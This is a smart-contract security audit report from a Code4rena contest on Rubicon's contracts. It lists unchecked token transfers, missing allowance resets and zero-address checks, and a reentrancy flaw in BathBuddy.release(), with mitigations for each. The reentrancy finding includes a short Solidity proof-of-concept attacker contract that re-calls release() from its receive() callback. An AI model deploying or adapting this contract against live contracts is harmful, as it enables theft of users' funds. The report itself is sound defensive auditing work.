Rubicon contest - cryptphi's results

Lines of code

https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L251 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#303 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L320 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L356 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L377 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L374 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L406 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L434 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L451 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L471 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L548 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L202 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L274 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L366 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L419 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L531

Vulnerability details

Impact

The smart contract does not check the return value for transfer() and transferFrom() in different functions in the contract.

Proof of Concept

Occurrences are in: *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L251 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L303 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L320 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L356 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L374 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L377 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L406 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L434 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L451 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L471 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L548 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L202 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L274 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L366 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L419 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L531

Tools Used

Manual review

Recommended Mitigation Steps

Wrap the call into a require() or use openzeppelin's SafeERC20 library.

Judge has assessed an item in Issue #220 as Medium risk. The relevant finding follows:

Lines of code

https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/peripheral_contracts/BathBuddy.sol#L114

Vulnerability details

Impact

The beneficiary is allowed to call release() without any reentrancy guards. The beneficiary may transfer Bath Tokens to a receiver multiple times before _erc20Released[address(token)] gets updated when there is a callback at line 114.

Proof of Concept

https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/peripheral_contracts/BathBuddy.sol#L114

Below is a just a simple re-entrancy contract for the beneficiary to deploy and call to explain above issue.

contract GetMoreBathToken{
    BathBuddy bathBuddy;
    address public token = tokenAddress;
    uint256 public sharesWithdrawn = sharesWithdrawn;
    uint256 public initialTotalSupply = initialTotalSupply;
    uint256 public poolFee = poolFee;
    
    
    constructor(address _bathBuddyAddress) public {
        bathBuddy = BathBuddy(_bathBuddyAddress);
    }    receive() external payable {
        if (bathBuddy.released(token) >= 1){
            bathBuddy.release(token, address(this), sharesWithdrawn,  initialTotalSupply, poolFee);
            
        }
    }    function attack() external payable{
        bathBuddy.release(token, address(this), sharesWithdrawn,  initialTotalSupply, poolFee);
        
        
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
        
    }}

Tools Used

Manual review

Recommended Mitigation Steps

Add nonReentrant modifier to the declaration of release()

1. Anyone can run startErUp if not started The function startErUp() can be called by anyone so long it is not started yet.

2. Missing approve(0) RubiconRouter.sol approveAssetOnMarket() - line 157 RubiconRouter.sol depositWithETH() - line 465 BathToken.initialize() - line 214 BathToken.approveMarket() - line 256

Impact ERC20.approve() function is called only once without setting the allowance to zero. Some tokens, require first reducing the address' allowance to zero by calling approve(_spender, 0). Transactions will revert when using an unsupported token.

Proof of Concept: *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L157 *https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L465 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L256

Recommended Mitigation Steps: Use approve(_spender, 0) to set the allowance to zero immediately before each of the existing approve() calls.

3. Unchecked return value of transfer() and transferFrom() in RubinconRouter.sol The smart contract does not check the return value for transfer() and transferFrom() in different functions in the contract.

Occurrences are in: BathToken._withdraw() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L602 BathToken.rebalance() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L353 BathToken.rebalance() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L357 BathToken._withdraw() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L605 BathToken._deposit() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L565

Recommendations: Wrap the call into a require() or use openzeppelin's SafeERC20 library.

4. Missing zero address check Some functions are missing a check for zero address.

Occurrences are in: RubiconRouter._swap() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L251 BathToken._withdraw() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L588 BathToken._deposit() - https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L557

5. require with empty message RubiconRouter.startErUp() uses a require with an empty message.